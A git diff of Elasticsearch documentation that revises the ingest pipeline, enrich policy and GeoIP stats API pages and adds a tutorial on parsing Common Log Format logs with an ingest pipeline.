-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=enrich-policy] - +Name of the enrich policy to create or update. +[role="child_attributes"] [[put-enrich-policy-api-request-body]] ==== {api-request-body-title} ``:: +(Required, object) +Configures the enrich policy. The field key is the enrich policy type. Valid key +values are: + -- -(Required, <> object) -Enrich policy used to match and add the right enrich data to -the right incoming documents. +`geo_match`::: +Matches enrich data to incoming documents based on a +<>. For an example, see +<>. + +`match`::: +Matches enrich data to incoming documents based on a +<>. For an example, see +<>. +-- ++ +.Properties of `` +[%collapsible%open] +==== +`indices`:: +(Required, String or array of strings) +One or more source indices used to create the enrich index. ++ +If multiple indices are specified, they must share a common `match_field`. -See <> for object definition and parameters. --- \ No newline at end of file +`match_field`:: +(Required, string) +Field in source indices used to match incoming documents. + +`enrich_fields`:: +(Required, Array of strings) +Fields to add to matching incoming documents. These fields must be present in +the source indices. + +`query`:: +(Optional, <>) +Query used to filter documents in the enrich index. The policy only uses +documents matching this query to enrich incoming documents. Defaults to a +<> query. +==== diff --git a/docs/reference/ingest/apis/geoip-stats-api.asciidoc b/docs/reference/ingest/apis/geoip-stats-api.asciidoc new file mode 100644 index 0000000000000..dda1f1a2d1492 --- /dev/null +++ b/docs/reference/ingest/apis/geoip-stats-api.asciidoc @@ -0,0 +1,90 @@ +[[geoip-stats-api]] +=== GeoIP stats API +++++ +GeoIP stats +++++ + +Gets download statistics for GeoIP2 databases used with the +<>. + +[source,console] +---- +GET _ingest/geoip/stats +---- + +[[geoip-stats-api-request]] +==== {api-request-title} + +`GET _ingest/geoip/stats` + +[[geoip-stats-api-prereqs]] +==== {api-prereq-title} + +* If the {es} {security-features} are enabled, you must have the `monitor` or +`manage` <> to use this API. + +[role="child_attributes"] +[[geoip-stats-api-response-body]] +==== {api-response-body-title} + +`stats`:: +(object) +Download statistics for all GeoIP2 databases. ++ +.Properties of `stats` +[%collapsible%open] +==== +`successful_downloads`:: +(integer) +Total number of successful database downloads. + +`failed_downloads`:: +(integer) +Total number of failed database downloads. + +`total_download_time`:: +(integer) +Total milliseconds spent downloading databases. + +`database_count`:: +(integer) +Current number of databases available for use. + +`skipped_updates`:: +(integer) +Total number of database updates skipped. +==== + +`nodes`:: +(object) +Downloaded GeoIP2 databases for each node. ++ +.Properties of `nodes` +[%collapsible%open] +==== +``:: +(object) +Downloaded databases for the node. The field key is the node ID. ++ +.Properties of `` +[%collapsible%open] +===== +`databases`:: +(array of objects) +Downloaded databases for the node. ++ +.Properties of `databases` objects +[%collapsible%open] +====== +`name`:: +(string) +Name of the database. +====== + +`files_in_temp`:: +(array of strings) +Downloaded database files, including related license files. {es} stores these +files in the node's <>: +`$ES_TMPDIR/geoip-databases/`. +===== +==== diff --git a/docs/reference/ingest/apis/get-pipeline.asciidoc b/docs/reference/ingest/apis/get-pipeline.asciidoc index 74f01dabc01aa..9208f05078769 100644 --- a/docs/reference/ingest/apis/get-pipeline.asciidoc +++ b/docs/reference/ingest/apis/get-pipeline.asciidoc @@ -97,50 +97,3 @@ The API returns the following response: } } ---- - - -[[get-pipeline-api-version-ex]] -===== Get the version of an ingest pipeline - -When you create or update an ingest pipeline, -you can specify an optional `version` parameter. -The version is useful for managing changes to pipeline -and viewing the current pipeline for an ingest node. - - -To check the pipeline version, -use the `filter_path` query parameter -to <> -to only the version. - -[source,console] ----- -GET /_ingest/pipeline/my-pipeline-id?filter_path=*.version ----- -// TEST[continued] - -The API returns the following response: - -[source,console-result] ----- -{ - "my-pipeline-id" : { - "version" : 123 - } -} ----- - -//// -[source,console] ----- -DELETE /_ingest/pipeline/my-pipeline-id ----- -// TEST[continued] - -[source,console-result] ----- -{ -"acknowledged": true -} ----- -//// diff --git a/docs/reference/ingest/apis/index.asciidoc b/docs/reference/ingest/apis/index.asciidoc index c1ad765fcc6bd..090a39e3834a5 100644 --- a/docs/reference/ingest/apis/index.asciidoc +++ b/docs/reference/ingest/apis/index.asciidoc @@ -1,15 +1,29 @@ [[ingest-apis]] == Ingest APIs -The following ingest APIs are available for managing pipelines: +Use ingest APIs to manage tasks and resources related to <> and processors. -* <> to add or update a pipeline -* <> to return a specific pipeline +[[ingest-pipeline-apis]] +=== Ingest pipeline APIs + +Use the following APIs to create, manage, and test ingest pipelines: + +* <> to create or update a pipeline +* <> to retrieve a pipeline configuration * <> to delete a pipeline -* <> to simulate a call to a pipeline +* <> to test a pipeline + +[[ingest-stat-apis]] +=== Stat APIs +Use the following APIs to get statistics about ingest processing: + +* <> to get download statistics for GeoIP2 databases used with +the <>. include::put-pipeline.asciidoc[] -include::get-pipeline.asciidoc[] include::delete-pipeline.asciidoc[] +include::get-pipeline.asciidoc[] +include::geoip-stats-api.asciidoc[] include::simulate-pipeline.asciidoc[] diff --git a/docs/reference/ingest/apis/put-pipeline.asciidoc b/docs/reference/ingest/apis/put-pipeline.asciidoc index 32b5dbbc38460..4f9cbe702361e 100644 --- a/docs/reference/ingest/apis/put-pipeline.asciidoc +++ b/docs/reference/ingest/apis/put-pipeline.asciidoc @@ -1,22 +1,23 @@ [[put-pipeline-api]] -=== Put pipeline API +=== Create or update pipeline API ++++ -Put pipeline +Create or update pipeline ++++ -Creates or updates an ingest pipeline. -Changes made using this API take effect immediately. +Creates or updates an <>. Changes made using this API +take effect immediately. [source,console] ---- PUT _ingest/pipeline/my-pipeline-id { - "description" : "describe pipeline", + "description" : "My optional pipeline description", "processors" : [ { "set" : { - "field": "foo", - "value": "bar" + "description" : "My optional processor description", + "field": "my-keyword-field", + "value": "foo" } } ] @@ -50,99 +51,32 @@ PUT _ingest/pipeline/my-pipeline-id include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout] -[[put-pipeline-api-response-body]] -==== {api-response-body-title} +[[put-pipeline-api-request-body]] +==== {api-request-body-title} +// tag::pipeline-object[] `description`:: -(Required, string) +(Optional, string) Description of the ingest pipeline. -`processors`:: +`on_failure`:: +(Optional, array of <> objects) +Processors to run immediately after a processor failure. + --- -(Required, array of <>) -Array of processors used to pre-process documents -before indexing. - -Processors are executed in the order provided. +Each processor supports a processor-level `on_failure` value. If a processor +without an `on_failure` value fails, {es} uses this pipeline-level parameter as +a fallback. The processors in this parameter run sequentially in the order +specified. {es} will not attempt to run the pipeline's remaining processors. -See <> for processor object definitions -and a list of built-in processors. --- +`processors`:: +(Required, array of <> objects) +Processors used to preform transformations on documents before indexing. +Processors run sequentially in the order specified. `version`:: -+ --- (Optional, integer) -Optional version number used by external systems to manage ingest pipelines. - -Versions are not used or validated by {es}; -they are intended for external management only. --- - - -[[put-pipeline-api-example]] -==== {api-examples-title} - - -[[versioning-pipelines]] -===== Pipeline versioning - -When creating or updating an ingest pipeline, -you can specify an optional `version` parameter. -The version is useful for managing changes to pipeline -and viewing the current pipeline for an ingest node. - -The following request sets a version number of `123` -for `my-pipeline-id`. - -[source,console] --------------------------------------------------- -PUT /_ingest/pipeline/my-pipeline-id -{ - "description" : "describe pipeline", - "version" : 123, - "processors" : [ - { - "set" : { - "field": "foo", - "value": "bar" - } - } - ] -} --------------------------------------------------- - -To unset the version number, -replace the pipeline without specifying a `version` parameter. - -[source,console] --------------------------------------------------- -PUT /_ingest/pipeline/my-pipeline-id -{ - "description" : "describe pipeline", - "processors" : [ - { - "set" : { - "field": "foo", - "value": "bar" - } - } - ] -} --------------------------------------------------- - -//// -[source,console] --------------------------------------------------- -DELETE /_ingest/pipeline/my-pipeline-id --------------------------------------------------- -// TEST[continued] - -[source,console-result] --------------------------------------------------- -{ -"acknowledged": true -} --------------------------------------------------- -//// +Version number used by external systems to track ingest pipelines. ++ +This parameter is intended for external systems only. {es} does not use or +validate pipeline version numbers. +// end::pipeline-object[] diff --git a/docs/reference/ingest/apis/simulate-pipeline.asciidoc b/docs/reference/ingest/apis/simulate-pipeline.asciidoc index 27b886a2951d1..eb79db434fb27 100644 --- a/docs/reference/ingest/apis/simulate-pipeline.asciidoc +++ b/docs/reference/ingest/apis/simulate-pipeline.asciidoc @@ -84,9 +84,9 @@ or supply a pipeline definition in the body of the request. ==== {api-path-parms-title} ``:: -(Optional, string) -Pipeline ID used to simulate an ingest. - +(Required*, string) +Pipeline to test. If you don't specify a `pipeline` in the request body, this +parameter is required. [[simulate-pipeline-api-query-params]] ==== {api-query-parms-title} @@ -98,49 +98,46 @@ the response includes output data for each processor in the executed pipeline. +[role="child_attributes"] [[simulate-pipeline-api-request-body]] ==== {api-request-body-title} -`description`:: -(Optional, string) -Description of the ingest pipeline. - -`processors`:: +`pipeline`:: +(Required*, object) +Pipeline to test. If you don't specify the `` request path parameter, +this parameter is required. If you specify both this and the request path +parameter, the API only uses the request path parameter. + --- -(Optional, array of <>) -Array of processors used to pre-process documents -during ingest. - -Processors are executed in the order provided. - -See <> for processor object definitions -and a list of built-in processors. --- +.Properties of `pipeline` +[%collapsible%open] +==== +include::put-pipeline.asciidoc[tag=pipeline-object] +==== `docs`:: +(Required, array of objects) +Sample documents to test in the pipeline. + --- -(Required, array) -Array of documents -ingested by the pipeline. - -Document object parameters include: +.Properties of `docs` objects +[%collapsible%open] +==== +`_id`:: +(Optional, string) +Unique identifier for the document. This ID must be unique within the `_index`. `_index`:: (Optional, string) Name of the index containing the document. -`_id`:: +`_routing`:: (Optional, string) -Unique identifier for the document. -This ID is only unique within the index. +Value used to send the document to a specific primary shard. See the +<> field. `_source`:: (Required, object) JSON body for the document. --- - +==== [[simulate-pipeline-api-example]] ==== {api-examples-title} diff --git a/docs/reference/ingest/common-log-format-example.asciidoc b/docs/reference/ingest/common-log-format-example.asciidoc new file mode 100644 index 0000000000000..d763d6d5ab13e --- /dev/null +++ b/docs/reference/ingest/common-log-format-example.asciidoc @@ -0,0 +1,269 @@ +[[common-log-format-example]] +== Example: Parse logs in the Common Log Format +++++ +Example: Parse logs +++++ + +In this example tutorial, you’ll use an <> to parse +server logs in the {wikipedia}/Common_Log_Format[Common Log Format] before +indexing. Before starting, check the <> for +ingest pipelines. + +The logs you want to parse look similar to this: + +[source,log] +---- +212.87.37.154 - - [30/May/2099:16:21:15 +0000] \"GET /favicon.ico HTTP/1.1\" +200 3638 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) +AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\" +---- +// NOTCONSOLE + +These logs contain a timestamp, IP address, and user agent. You want to give +these three items their own field in {es} for faster searches and +visualizations. You also want to know where the request is coming from. + +. In {kib}, open the main menu and click **Stack Management** > **Ingest Node +Pipelines**. ++ +[role="screenshot"] +image::images/ingest/ingest-pipeline-list.png[Kibana's Ingest Node Pipelines list view,align="center"] + +. Click **Create pipeline**. +. Provide a name and description for the pipeline. +. Add a <> to parse the log message: + +.. Click **Add a processor** and select the **Grok** processor type. +.. Set **Field** to `message` and **Patterns** to the following +<>: ++ +[source,grok] +---- +%{IPORHOST:source.ip} %{USER:user.id} %{USER:user.name} \[%{HTTPDATE:@timestamp}\] "%{WORD:http.request.method} %{DATA:url.original} HTTP/%{NUMBER:http.version}" %{NUMBER:http.response.status_code:int} (?:-|%{NUMBER:http.response.body.bytes:int}) %{QS:http.request.referrer} %{QS:user_agent} +---- +// NOTCONSOLE ++ +.. Click **Add** to save the processor. +.. Set the processor description to `Extract fields from 'message'`. + +. Add processors for the timestamp, IP address, and user agent fields. Configure +the processors as follows: ++ +-- + +[options="header"] +|==== +| Processor type | Field | Additional options | Description + +| <> +| `@timestamp` +| **Formats**: `dd/MMM/yyyy:HH:mm:ss Z` +| `Format '@timestamp' as 'dd/MMM/yyyy:HH:mm:ss Z'` + +| <> +| `source.ip` +| **Target field**: `source.geo` +| `Add 'source.geo' GeoIP data for 'source.ip'` + +| <> +| `user_agent` +| +| `Extract fields from 'user_agent'` +|==== + +Your form should look similar to this: + +[role="screenshot"] +image::images/ingest/ingest-pipeline-processor.png[Processors for Ingest Node Pipelines,align="center"] + +The four processors will run sequentially: + +Grok > Date > GeoIP > User agent + +You can reorder processors using the arrow icons. + +Alternatively, you can click the **Import processors** link and define the +processors as JSON: + +[source,js] +---- +{ +include::common-log-format-example.asciidoc[tag=common-log-pipeline] +} +---- +// NOTCONSOLE + +//// +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ +// tag::common-log-pipeline[] + "processors": [ + { + "grok": { + "description": "Extract fields from 'message'", + "field": "message", + "patterns": ["%{IPORHOST:source.ip} %{USER:user.id} %{USER:user.name} \\[%{HTTPDATE:@timestamp}\\] \"%{WORD:http.request.method} %{DATA:url.original} HTTP/%{NUMBER:http.version}\" %{NUMBER:http.response.status_code:int} (?:-|%{NUMBER:http.response.body.bytes:int}) %{QS:http.request.referrer} %{QS:user_agent}"] + } + }, + { + "date": { + "description": "Format '@timestamp' as 'dd/MMM/yyyy:HH:mm:ss Z'", + "field": "@timestamp", + "formats": [ "dd/MMM/yyyy:HH:mm:ss Z" ] + } + }, + { + "geoip": { + "description": "Add 'source.geo' GeoIP data for 'source.ip'", + "field": "source.ip", + "target_field": "source.geo" + } + }, + { + "user_agent": { + "description": "Extract fields from 'user_agent'", + "field": "user_agent" + } + } + ] +// end::common-log-pipeline[] +} +---- +//// +-- + +. To test the pipeline, click **Add documents**. + +. In the **Documents** tab, provide a sample document for testing: ++ +[source,js] +---- +[ + { + "_source": { + "message": "212.87.37.154 - - [05/May/2099:16:21:15 +0000] \"GET /favicon.ico HTTP/1.1\" 200 3638 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\"" + } + } +] +---- +// NOTCONSOLE + +. Click **Run the pipeline** and verify the pipeline worked as expected. + +. If everything looks correct, close the panel, and then click **Create +pipeline**. ++ +You’re now ready to index the logs data to a <>. + +. Create an <> with +<>. ++ +[source,console] +---- +PUT _index_template/my-data-stream-template +{ + "index_patterns": [ "my-data-stream*" ], + "data_stream": { }, + "priority": 500 +} +---- +// TEST[continued] + +. Index a document with the pipeline you created. ++ +[source,console] +---- +POST my-data-stream/_doc?pipeline=my-pipeline +{ + "message": "212.87.37.154 - - [05/May/2099:16:21:15 +0000] \"GET /favicon.ico HTTP/1.1\" 200 3638 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\"" +} +---- +// TEST[s/my-pipeline/my-pipeline&refresh=wait_for/] +// TEST[continued] + +. To verify, search the data stream to retrieve the document. The following +search uses <> to return only +the <>. ++ +-- +[source,console] +---- +GET my-data-stream/_search?filter_path=hits.hits._source +---- +// TEST[continued] + +The API returns: + +[source,console-result] +---- +{ + "hits": { + "hits": [ + { + "_source": { + "@timestamp": "2099-05-05T16:21:15.000Z", + "http": { + "request": { + "referrer": "\"-\"", + "method": "GET" + }, + "response": { + "status_code": 200, + "body": { + "bytes": 3638 + } + }, + "version": "1.1" + }, + "source": { + "ip": "212.87.37.154", + "geo": { + "continent_name": "Europe", + "region_iso_code": "DE-BE", + "city_name": "Berlin", + "country_iso_code": "DE", + "country_name": "Germany", + "region_name": "Land Berlin", + "location": { + "lon": 13.4978, + "lat": 52.411 + } + } + }, + "message": "212.87.37.154 - - [05/May/2099:16:21:15 +0000] \"GET /favicon.ico HTTP/1.1\" 200 3638 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\"", + "url": { + "original": "/favicon.ico" + }, + "user": { + "name": "-", + "id": "-" + }, + "user_agent": { + "original": "\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\"", + "os": { + "name": "Mac OS X", + "version": "10.11.6", + "full": "Mac OS X 10.11.6" + }, + "name": "Chrome", + "device": { + "name": "Mac" + }, + "version": "52.0.2743.116" + } + } + } + ] + } +} +---- +-- + +//// +[source,console] +---- +DELETE _data_stream/* +DELETE _index_template/* +---- +// TEST[continued] +//// diff --git a/docs/reference/ingest/enrich.asciidoc b/docs/reference/ingest/enrich.asciidoc index a4b2f2741c929..e7ba886261e9e 100644 --- a/docs/reference/ingest/enrich.asciidoc +++ b/docs/reference/ingest/enrich.asciidoc @@ -17,18 +17,13 @@ For example, you can use the enrich processor to: [[how-enrich-works]] === How the enrich processor works -An <> changes documents before they are actually -indexed. You can think of an ingest pipeline as an assembly line made up of a -series of workers, called <>. Each processor makes -specific changes, like lowercasing field values, to incoming documents before -moving on to the next. When all the processors in a pipeline are done, the -finished document is added to the target index. +Most processors are self-contained and only change _existing_ data in incoming +documents. image::images/ingest/ingest-process.svg[align="center"] -Most processors are self-contained and only change _existing_ data in incoming -documents. But the enrich processor adds _new_ data to incoming documents -and requires a few special components: +The enrich processor adds _new_ data to incoming documents and requires a few +special components: image::images/ingest/enrich/enrich-process.svg[align="center"] @@ -55,9 +50,6 @@ Before it can be used with an enrich processor, an enrich policy must be enrich data from the policy's source indices to create a streamlined system index called the _enrich index_. The processor uses this index to match and enrich incoming documents. - -See <> for a full list of enrich policy types and -configuration options. -- [[source-index]] @@ -107,8 +99,8 @@ and <>. [IMPORTANT] ==== -The enrich processor performs several operations -and may impact the speed of your <>. +The enrich processor performs several operations and may impact the speed of +your ingest pipeline. We strongly recommend testing and benchmarking your enrich processors before deploying them in production. @@ -141,14 +133,8 @@ automatically send and index documents to your source indices. See [[create-enrich-policy]] ==== Create an enrich policy -After adding enrich data to your source indices, you can -<>. When defining the enrich -policy, you should include at least the following: - -include::enrich.asciidoc[tag=enrich-policy-fields] - -You can use this definition to create the enrich policy with the -<>. +After adding enrich data to your source indices, use the +<> to create an enrich policy. [WARNING] ==== @@ -177,7 +163,7 @@ your policy. image::images/ingest/enrich/enrich-processor.svg[align="center"] Define an <> and add it to an ingest -pipeline using the <>. +pipeline using the <>. When defining the enrich processor, you must include at least the following: @@ -193,7 +179,7 @@ added as an array. See <> for a full list of configuration options. -You also can add other <> to your ingest pipeline. +You also can add other <> to your ingest pipeline. [[ingest-enrich-docs]] ==== Ingest and enrich documents @@ -222,401 +208,15 @@ using your ingest pipeline. Once created, you can't update or change an enrich policy. Instead, you can: -. Create and <> a new enrich policy. +. Create and <> a new enrich policy. -. Replace the previous enrich policy +. Replace the previous enrich policy with the new enrich policy in any in-use enrich processors. -. Use the <> API +. Use the <> API to delete the previous enrich policy. // end::update-enrich-policy[] -[role="xpack"] -[testenv="basic"] -[[enrich-policy-definition]] -=== Enrich policy definition - -<> are defined as JSON objects like the -following: - -[source,js] ----- -{ - "": { - "indices": [ "..." ], - "match_field": "...", - "enrich_fields": [ "..." ], - "query": {... } - } -} ----- -// NOTCONSOLE - -[[enrich-policy-parms]] -==== Parameters - -``:: -+ --- -(Required, enrich policy object) -The enrich policy type determines how enrich data is matched to incoming -documents. - -Supported enrich policy types include: - -<>::: -Matches enrich data to incoming documents based on a geographic location using -a <>. For an example, see -<>. - -<>::: -Matches enrich data to incoming documents based on a precise value, such as an -email address or ID, using a <>. For an -example, see <>. --- - -`indices`:: -+ --- -(Required, String or array of strings) -Source indices used to create the enrich index. - -If multiple indices are provided, they must share a common `match_field`, which -the enrich processor can use to match incoming documents. --- - -`match_field`:: -(Required, string) -Field in the source indices used to match incoming documents. - -`enrich_fields`:: -(Required, Array of strings) -Fields to add to matching incoming documents. These fields must be present in -the source indices. - -`query`:: -(Optional, <>) -Query used to filter documents in the enrich index for matching. Defaults to -a <> query. - -[role="xpack"] -[testenv="basic"] -[[geo-match-enrich-policy-type]] -=== Example: Enrich your data based on geolocation - -`geo_match` <> match enrich data to incoming -documents based on a geographic location, using a -<>. - -The following example creates a `geo_match` enrich policy that adds postal -codes to incoming documents based on a set of coordinates. It then adds the -`geo_match` enrich policy to a processor in an ingest pipeline. - -Use the <> to create a source index -containing at least one `geo_shape` field. - -[source,console] ----- -PUT /postal_codes -{ - "mappings": { - "properties": { - "location": { - "type": "geo_shape" - }, - "postal_code": { - "type": "keyword" - } - } - } -} ----- - -Use the <> to index enrich data to this source index. - -[source,console] ----- -PUT /postal_codes/_doc/1?refresh=wait_for -{ - "location": { - "type": "envelope", - "coordinates": [ [ 13.0, 53.0 ], [ 14.0, 52.0 ] ] - }, - "postal_code": "96598" -} ----- -// TEST[continued] - -Use the <> to create an enrich -policy with the `geo_match` policy type. This policy must include: - -* One or more source indices -* A `match_field`, - the `geo_shape` field from the source indices used to match incoming documents -* Enrich fields from the source indices you'd like to append to incoming - documents - -[source,console] ----- -PUT /_enrich/policy/postal_policy -{ - "geo_match": { - "indices": "postal_codes", - "match_field": "location", - "enrich_fields": [ "location", "postal_code" ] - } -} ----- -// TEST[continued] - -Use the <> to create an -enrich index for the policy. - -[source,console] ----- -POST /_enrich/policy/postal_policy/_execute ----- -// TEST[continued] - -Use the <> to create an ingest pipeline. In -the pipeline, add an <> that includes: - -* Your enrich policy. -* The `field` of incoming documents used to match the geo_shape of documents - from the enrich index. -* The `target_field` used to store appended enrich data for incoming documents. - This field contains the `match_field` and `enrich_fields` specified in your - enrich policy. -* The `shape_relation`, which indicates how the processor matches geo_shapes in - incoming documents to geo_shapes in documents from the enrich index. See - <<_spatial_relations>> for valid options and more information. - -[source,console] ----- -PUT /_ingest/pipeline/postal_lookup -{ - "description": "Enrich postal codes", - "processors": [ - { - "enrich": { - "policy_name": "postal_policy", - "field": "geo_location", - "target_field": "geo_data", - "shape_relation": "INTERSECTS" - } - } - ] -} ----- -// TEST[continued] - -Use the ingest pipeline to index a document. The incoming document should -include the `field` specified in your enrich processor. - -[source,console] ----- -PUT /users/_doc/0?pipeline=postal_lookup -{ - "first_name": "Mardy", - "last_name": "Brown", - "geo_location": "POINT (13.5 52.5)" -} ----- -// TEST[continued] - -To verify the enrich processor matched and appended the appropriate field data, -use the <> to view the indexed document. - -[source,console] ----- -GET /users/_doc/0 ----- -// TEST[continued] - -The API returns the following response: - -[source,console-result] ----- -{ - "found": true, - "_index": "users", - "_id": "0", - "_version": 1, - "_seq_no": 55, - "_primary_term": 1, - "_source": { - "geo_data": { - "location": { - "type": "envelope", - "coordinates": [[13.0, 53.0], [14.0, 52.0]] - }, - "postal_code": "96598" - }, - "first_name": "Mardy", - "last_name": "Brown", - "geo_location": "POINT (13.5 52.5)" - } -} ----- -// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term":1/"_primary_term" : $body._primary_term/] - -//// -[source,console] --------------------------------------------------- -DELETE /_ingest/pipeline/postal_lookup -DELETE /_enrich/policy/postal_policy --------------------------------------------------- -// TEST[continued] -//// - -[role="xpack"] -[testenv="basic"] -[[match-enrich-policy-type]] -=== Example: Enrich your data based on exact values - -`match` <> match enrich data to incoming -documents based on an exact value, such as a email address or ID, using a -<>. - -The following example creates a `match` enrich policy that adds user name and -contact information to incoming documents based on an email address. It then -adds the `match` enrich policy to a processor in an ingest pipeline. - -Use the <> or <> to create a source index. - -The following index API request creates a source index and indexes a -new document to that index. - -[source,console] ----- -PUT /users/_doc/1?refresh=wait_for -{ - "email": "mardy.brown@asciidocsmith.com", - "first_name": "Mardy", - "last_name": "Brown", - "city": "New Orleans", - "county": "Orleans", - "state": "LA", - "zip": 70116, - "web": "mardy.asciidocsmith.com" -} ----- - -Use the put enrich policy API to create an enrich policy with the `match` -policy type. This policy must include: - -* One or more source indices -* A `match_field`, - the field from the source indices used to match incoming documents -* Enrich fields from the source indices you'd like to append to incoming - documents - -[source,console] ----- -PUT /_enrich/policy/users-policy -{ - "match": { - "indices": "users", - "match_field": "email", - "enrich_fields": ["first_name", "last_name", "city", "zip", "state"] - } -} ----- -// TEST[continued] - -Use the <> to create an -enrich index for the policy. - -[source,console] ----- -POST /_enrich/policy/users-policy/_execute ----- -// TEST[continued] - - -Use the <> to create an ingest pipeline. In -the pipeline, add an <> that includes: - -* Your enrich policy. -* The `field` of incoming documents used to match documents - from the enrich index. -* The `target_field` used to store appended enrich data for incoming documents. - This field contains the `match_field` and `enrich_fields` specified in your - enrich policy. - -[source,console] ----- -PUT /_ingest/pipeline/user_lookup -{ - "description" : "Enriching user details to messages", - "processors" : [ - { - "enrich" : { - "policy_name": "users-policy", - "field" : "email", - "target_field": "user", - "max_matches": "1" - } - } - ] -} ----- -// TEST[continued] - -Use the ingest pipeline to index a document. The incoming document should -include the `field` specified in your enrich processor. - -[source,console] ----- -PUT /my-index-000001/_doc/my_id?pipeline=user_lookup -{ - "email": "mardy.brown@asciidocsmith.com" -} ----- -// TEST[continued] - -To verify the enrich processor matched and appended the appropriate field data, -use the <> to view the indexed document. - -[source,console] ----- -GET /my-index-000001/_doc/my_id ----- -// TEST[continued] - -The API returns the following response: - -[source,console-result] ----- -{ - "found": true, - "_index": "my-index-000001", - "_id": "my_id", - "_version": 1, - "_seq_no": 55, - "_primary_term": 1, - "_source": { - "user": { - "email": "mardy.brown@asciidocsmith.com", - "first_name": "Mardy", - "last_name": "Brown", - "zip": 70116, - "city": "New Orleans", - "state": "LA" - }, - "email": "mardy.brown@asciidocsmith.com" - } -} ----- -// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term":1/"_primary_term" : $body._primary_term/] - -//// -[source,console] --------------------------------------------------- -DELETE /_ingest/pipeline/user_lookup -DELETE /_enrich/policy/users-policy --------------------------------------------------- -// TEST[continued] -//// \ No newline at end of file +include::geo-match-enrich-policy-type-ex.asciidoc[] +include::match-enrich-policy-type-ex.asciidoc[] diff --git a/docs/reference/ingest/geo-match-enrich-policy-type-ex.asciidoc b/docs/reference/ingest/geo-match-enrich-policy-type-ex.asciidoc new file mode 100644 index 0000000000000..ff79cf890df5e --- /dev/null +++ b/docs/reference/ingest/geo-match-enrich-policy-type-ex.asciidoc @@ -0,0 +1,170 @@ +[role="xpack"] +[testenv="basic"] +[[geo-match-enrich-policy-type]] +=== Example: Enrich your data based on geolocation + +`geo_match` <> match enrich data to incoming +documents based on a geographic location, using a +<>. + +The following example creates a `geo_match` enrich policy that adds postal +codes to incoming documents based on a set of coordinates. It then adds the +`geo_match` enrich policy to a processor in an ingest pipeline. + +Use the <> to create a source index +containing at least one `geo_shape` field. + +[source,console] +---- +PUT /postal_codes +{ + "mappings": { + "properties": { + "location": { + "type": "geo_shape" + }, + "postal_code": { + "type": "keyword" + } + } + } +} +---- + +Use the <> to index enrich data to this source index. + +[source,console] +---- +PUT /postal_codes/_doc/1?refresh=wait_for +{ + "location": { + "type": "envelope", + "coordinates": [ [ 13.0, 53.0 ], [ 14.0, 52.0 ] ] + }, + "postal_code": "96598" +} +---- +// TEST[continued] + +Use the <> to create +an enrich policy with the `geo_match` policy type. This policy must include: + +* One or more source indices +* A `match_field`, + the `geo_shape` field from the source indices used to match incoming documents +* Enrich fields from the source indices you'd like to append to incoming + documents + +[source,console] +---- +PUT /_enrich/policy/postal_policy +{ + "geo_match": { + "indices": "postal_codes", + "match_field": "location", + "enrich_fields": [ "location", "postal_code" ] + } +} +---- +// TEST[continued] + +Use the <> to create an +enrich index for the policy. + +[source,console] +---- +POST /_enrich/policy/postal_policy/_execute +---- +// TEST[continued] + +Use the <> to create an ingest +pipeline. In the pipeline, add an <> that +includes: + +* Your enrich policy. +* The `field` of incoming documents used to match the geo_shape of documents + from the enrich index. +* The `target_field` used to store appended enrich data for incoming documents. + This field contains the `match_field` and `enrich_fields` specified in your + enrich policy. +* The `shape_relation`, which indicates how the processor matches geo_shapes in + incoming documents to geo_shapes in documents from the enrich index. See + <<_spatial_relations>> for valid options and more information. + +[source,console] +---- +PUT /_ingest/pipeline/postal_lookup +{ + "processors": [ + { + "enrich": { + "description": "Add 'geo_data' based on 'geo_location'", + "policy_name": "postal_policy", + "field": "geo_location", + "target_field": "geo_data", + "shape_relation": "INTERSECTS" + } + } + ] +} +---- +// TEST[continued] + +Use the ingest pipeline to index a document. The incoming document should +include the `field` specified in your enrich processor. + +[source,console] +---- +PUT /users/_doc/0?pipeline=postal_lookup +{ + "first_name": "Mardy", + "last_name": "Brown", + "geo_location": "POINT (13.5 52.5)" +} +---- +// TEST[continued] + +To verify the enrich processor matched and appended the appropriate field data, +use the <> to view the indexed document. + +[source,console] +---- +GET /users/_doc/0 +---- +// TEST[continued] + +The API returns the following response: + +[source,console-result] +---- +{ + "found": true, + "_index": "users", + "_id": "0", + "_version": 1, + "_seq_no": 55, + "_primary_term": 1, + "_source": { + "geo_data": { + "location": { + "type": "envelope", + "coordinates": [[13.0, 53.0], [14.0, 52.0]] + }, + "postal_code": "96598" + }, + "first_name": "Mardy", + "last_name": "Brown", + "geo_location": "POINT (13.5 52.5)" + } +} +---- +// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term":1/"_primary_term" : $body._primary_term/] + +//// +[source,console] +-------------------------------------------------- +DELETE /_ingest/pipeline/postal_lookup +DELETE /_enrich/policy/postal_policy +-------------------------------------------------- +// TEST[continued] +//// diff --git a/docs/reference/ingest/ingest-node.asciidoc b/docs/reference/ingest/ingest-node.asciidoc deleted file mode 100644 index 6f6b85480af34..0000000000000 --- a/docs/reference/ingest/ingest-node.asciidoc +++ /dev/null @@ -1,907 +0,0 @@ -[[pipeline]] -== Pipeline Definition - -A pipeline is a definition of a series of <> that are to be executed -in the same order as they are declared. A pipeline consists of two main fields: a `description` -and a list of `processors`: - -[source,js] --------------------------------------------------- -{ - "description" : "...", - "processors" : [ ... ] -} --------------------------------------------------- -// NOTCONSOLE - -The `description` is a special field to store a helpful description of -what the pipeline does. - -The `processors` parameter defines a list of processors to be executed in -order. - -[[accessing-data-in-pipelines]] -== Accessing Data in Pipelines - 